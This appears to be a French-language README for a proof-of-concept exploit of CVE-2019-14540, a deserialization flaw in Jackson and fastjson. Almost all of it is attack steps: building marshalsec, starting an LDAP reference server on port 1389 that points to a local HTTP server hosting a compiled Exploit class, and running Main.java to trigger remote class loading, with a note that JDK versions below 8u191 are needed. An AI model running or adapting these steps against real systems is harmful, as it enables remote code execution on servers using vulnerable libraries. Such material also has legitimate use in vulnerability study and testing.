CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Contrainte d'environnement : comme cette démo utilise la méthode d'exploitation JNDI via LDAP, il est nécessaire d'utiliser une version basse de JDK (inférieure à 8u191).

1. Utiliser marshalsec pour créer un service LDAP sur le port local 1389, pointant vers un service HTTP local sur le port 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Compiler le code à charger à distance dans le dossier remote_codebase

cd remote_codebase
javac Exploit.java

3. Démarrer un service HTTP local sur le port 8000 dans le dossier remote_codebase

cd remote_codebase
python -m SimpleHTTPServer

4. Exécuter Main.java, utiliser les désérialisations jackson et fastjson pour déclencher la vulnérabilité